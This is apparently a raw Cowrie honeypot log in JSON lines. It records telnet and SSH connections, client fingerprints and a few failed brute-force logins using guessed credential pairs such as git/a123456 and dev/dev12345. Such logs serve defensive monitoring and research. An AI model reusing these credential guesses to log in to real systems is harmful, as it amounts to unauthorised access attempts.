{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:00:13.187679Z","src_ip":"198.98.56.205","session":"66b0090a7b68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"a123456","message":"login attempt [git/a123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:00:13.249207Z","src_ip":"198.98.56.205","session":"66b0090a7b68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:00:14.258175Z","src_ip":"198.98.56.205","session":"66b0090a7b68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":38526,"dst_ip":"10.17.0.5","dst_port":23,"session":"903b48758e67","protocol":"telnet","message":"New connection: 38.54.119.93:38526 (10.17.0.5:23) [session: 903b48758e67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:00:16.620235Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":46732,"dst_ip":"159.203.135.109","dst_port":23,"session":"46d1a2570b7d","protocol":"telnet","message":"New connection: 38.60.198.128:46732 (159.203.135.109:23) [session: 46d1a2570b7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:00:18.165765Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":48908,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa792c587e5c","protocol":"telnet","message":"New connection: 38.60.198.128:48908 (159.203.135.109:23) [session: fa792c587e5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:00:19.718720Z"}
{"eventid":"cowrie.session.closed","duration":43.56947326660156,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:00:20.257646Z","src_ip":"38.60.198.128","session":"19daaf3b7b51","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.5066394805908203,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:00:20.672279Z","src_ip":"38.60.198.128","session":"46d1a2570b7d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":50484,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac24e3017c6c","protocol":"telnet","message":"New connection: 38.60.198.128:50484 (159.203.135.109:23) [session: ac24e3017c6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:00:21.121895Z"}
{"eventid":"cowrie.session.closed","duration":45.15375900268555,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:00:21.269008Z","src_ip":"38.60.198.128","session":"f8cf17bf7978","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.02827000617981,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:00:21.377258Z","src_ip":"38.60.198.128","session":"ed93a79f5d73","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":51904,"dst_ip":"159.203.135.109","dst_port":23,"session":"d0d89f4e7d06","protocol":"telnet","message":"New connection: 38.60.198.128:51904 (159.203.135.109:23) [session: d0d89f4e7d06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:00:22.587785Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":42992,"dst_ip":"10.17.0.5","dst_port":23,"session":"2dcf71538113","protocol":"telnet","message":"New connection: 38.54.119.93:42992 (10.17.0.5:23) [session: 2dcf71538113]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:00:23.115561Z"}
{"eventid":"cowrie.session.closed","duration":120.00212788581848,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:00:23.488659Z","src_ip":"38.60.198.128","session":"bf0f1f75172c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"191.101.59.69","src_port":47358,"dst_ip":"159.203.135.109","dst_port":22,"session":"5a0b6792d9cd","protocol":"ssh","message":"New connection: 191.101.59.69:47358 (159.203.135.109:22) [session: 5a0b6792d9cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:00:26.092671Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":44184,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c127b230af3","protocol":"telnet","message":"New connection: 45.81.23.16:44184 (10.17.0.5:23) [session: 5c127b230af3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:00:26.360439Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:00:26.489574Z","src_ip":"191.101.59.69","session":"5a0b6792d9cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:00:26.593441Z","src_ip":"191.101.59.69","session":"5a0b6792d9cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.932137966156006,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:00:28.047579Z","src_ip":"38.54.119.93","session":"2dcf71538113","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev12345","message":"login attempt [dev/dev12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:00:28.088392Z","src_ip":"191.101.59.69","session":"5a0b6792d9cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.29920768737793,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:00:28.576227Z","src_ip":"38.60.198.128","session":"f999e4bb84d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.987985610961914,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:00:28.919972Z","src_ip":"38.60.198.128","session":"6de3b9044d91","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:00:29.185784Z","src_ip":"191.101.59.69","session":"5a0b6792d9cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":59328,"dst_ip":"159.203.135.109","dst_port":23,"session":"9de8783ae920","protocol":"telnet","message":"New connection: 38.60.198.128:59328 (159.203.135.109:23) [session: 9de8783ae920]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:00:31.477803Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":49408,"dst_ip":"159.203.135.109","dst_port":23,"session":"7fbc5b084d73","protocol":"telnet","message":"New connection: 38.60.198.128:49408 (159.203.135.109:23) [session: 7fbc5b084d73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:00:32.076338Z"}
{"eventid":"cowrie.session.closed","duration":35.6829879283905,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:00:33.000482Z","src_ip":"38.60.198.128","session":"5d40f2432cee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":1.2189598083496094,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:00:33.295124Z","src_ip":"38.60.198.128","session":"7fbc5b084d73","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.686002254486084,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:00:33.787696Z","src_ip":"38.60.198.128","session":"418dc79934a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":49576,"dst_ip":"10.17.0.5","dst_port":23,"session":"2abb130ab083","protocol":"telnet","message":"New connection: 38.54.119.93:49576 (10.17.0.5:23) [session: 2abb130ab083]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:00:33.809335Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":38114,"dst_ip":"159.203.135.109","dst_port":23,"session":"38c2929c8c1a","protocol":"telnet","message":"New connection: 38.60.198.128:38114 (159.203.135.109:23) [session: 38c2929c8c1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:00:34.936110Z"}
{"eventid":"cowrie.session.closed","duration":41.32663083076477,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:00:36.282274Z","src_ip":"38.60.198.128","session":"5ba74211d4db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":42284,"dst_ip":"159.203.135.109","dst_port":23,"session":"336955b652a0","protocol":"telnet","message":"New connection: 38.60.198.128:42284 (159.203.135.109:23) [session: 336955b652a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:00:37.049882Z"}
{"eventid":"cowrie.session.closed","duration":40.98662543296814,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:00:38.647463Z","src_ip":"38.60.198.128","session":"9b502e833f5a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":45794,"dst_ip":"159.203.135.109","dst_port":23,"session":"a271eb0e3380","protocol":"telnet","message":"New connection: 38.60.198.128:45794 (159.203.135.109:23) [session: a271eb0e3380]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:00:40.203607Z"}
{"eventid":"cowrie.session.closed","duration":42.397722482681274,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:00:44.424303Z","src_ip":"38.60.198.128","session":"5bde8a5cfc2a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.285483837127686,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:00:46.119049Z","src_ip":"38.60.198.128","session":"b4a5b2310ed2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.74797344207764,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:00:47.312719Z","src_ip":"38.60.198.128","session":"1545789ad2d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.37493681907654,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:00:49.634699Z","src_ip":"38.60.198.128","session":"ef2d52eb70b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.42762589454651,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:00:52.437341Z","src_ip":"38.60.198.128","session":"a776e0e30c73","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":34614,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b1a8668d093","protocol":"telnet","message":"New connection: 38.60.198.128:34614 (159.203.135.109:23) [session: 9b1a8668d093]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:00:53.351701Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":38220,"dst_ip":"159.203.135.109","dst_port":23,"session":"d991361c5186","protocol":"telnet","message":"New connection: 38.60.198.128:38220 (159.203.135.109:23) [session: d991361c5186]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:00:57.475657Z"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.205","src_port":33196,"dst_ip":"159.203.135.109","dst_port":22,"session":"29ab4c6bc230","protocol":"ssh","message":"New connection: 198.98.56.205:33196 (159.203.135.109:22) [session: 29ab4c6bc230]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:00:59.209411Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:00:59.214217Z","src_ip":"198.98.56.205","session":"29ab4c6bc230","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:00:59.219622Z","src_ip":"198.98.56.205","session":"29ab4c6bc230","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testuser","password":"q1w2e3r4","message":"login attempt [testuser/q1w2e3r4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:00:59.270453Z","src_ip":"198.98.56.205","session":"29ab4c6bc230","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:01:00.280546Z","src_ip":"198.98.56.205","session":"29ab4c6bc230","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.641985177993774,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:01:00.360589Z","src_ip":"38.60.198.128","session":"fa792c587e5c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.27107357978821,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:01:00.392833Z","src_ip":"38.60.198.128","session":"ac24e3017c6c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":42000,"dst_ip":"159.203.135.109","dst_port":23,"session":"73de9030e43d","protocol":"telnet","message":"New connection: 38.60.198.128:42000 (159.203.135.109:23) [session: 73de9030e43d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:01:00.429126Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":43492,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f4fc72c222a","protocol":"telnet","message":"New connection: 38.60.198.128:43492 (159.203.135.109:23) [session: 0f4fc72c222a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:01:00.864086Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":43786,"dst_ip":"159.203.135.109","dst_port":23,"session":"f4ec43a2f099","protocol":"telnet","message":"New connection: 38.60.198.128:43786 (159.203.135.109:23) [session: f4ec43a2f099]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:01:01.087649Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":39122,"dst_ip":"159.203.135.109","dst_port":23,"session":"2788e87d40f2","protocol":"telnet","message":"New connection: 38.60.198.128:39122 (159.203.135.109:23) [session: 2788e87d40f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:01:01.191497Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":42436,"dst_ip":"159.203.135.109","dst_port":23,"session":"09b0fc7368e8","protocol":"telnet","message":"New connection: 38.60.198.128:42436 (159.203.135.109:23) [session: 09b0fc7368e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:01:02.883511Z"}
{"eventid":"cowrie.session.closed","duration":51.555012702941895,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:01:03.008794Z","src_ip":"38.60.198.128","session":"1b06f41404ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.26454257965088,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:01:03.884578Z","src_ip":"38.54.119.93","session":"903b48758e67","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.012615442276,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:01:04.600269Z","src_ip":"38.60.198.128","session":"d0d89f4e7d06","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":46924,"dst_ip":"159.203.135.109","dst_port":23,"session":"d322b6acd80e","protocol":"telnet","message":"New connection: 38.60.198.128:46924 (159.203.135.109:23) [session: d322b6acd80e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:01:04.753701Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":49060,"dst_ip":"159.203.135.109","dst_port":23,"session":"82a389566cb2","protocol":"telnet","message":"New connection: 38.60.198.128:49060 (159.203.135.109:23) [session: 82a389566cb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:01:05.555630Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":55770,"dst_ip":"159.203.135.109","dst_port":23,"session":"ccd36706a3c6","protocol":"telnet","message":"New connection: 38.60.198.128:55770 (159.203.135.109:23) [session: ccd36706a3c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:01:10.712815Z"}
{"eventid":"cowrie.session.closed","duration":40.688278675079346,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:01:12.165957Z","src_ip":"38.60.198.128","session":"9de8783ae920","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.35550546646118,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:01:13.715786Z","src_ip":"45.81.23.16","session":"5c127b230af3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":58760,"dst_ip":"159.203.135.109","dst_port":23,"session":"afc77eefc1e4","protocol":"telnet","message":"New connection: 38.60.198.128:58760 (159.203.135.109:23) [session: afc77eefc1e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:01:14.068483Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":57728,"dst_ip":"159.203.135.109","dst_port":23,"session":"8c66fa1f943f","protocol":"telnet","message":"New connection: 38.60.198.128:57728 (159.203.135.109:23) [session: 8c66fa1f943f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:01:14.299009Z"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":34760,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ed0b9ae9c17","protocol":"telnet","message":"New connection: 38.60.198.128:34760 (159.203.135.109:23) [session: 1ed0b9ae9c17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:01:17.463480Z"}
{"eventid":"cowrie.session.closed","duration":40.7873592376709,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:01:17.837115Z","src_ip":"38.60.198.128","session":"336955b652a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":34588,"dst_ip":"159.203.135.109","dst_port":23,"session":"b829332e967e","protocol":"telnet","message":"New connection: 38.60.198.128:34588 (159.203.135.109:23) [session: b829332e967e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:01:19.350713Z"}
{"eventid":"cowrie.session.closed","duration":43.06101417541504,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:01:23.264491Z","src_ip":"38.60.198.128","session":"a271eb0e3380","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.5957977771759,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:01:24.404976Z","src_ip":"38.54.119.93","session":"2abb130ab083","protocol":"telnet"}
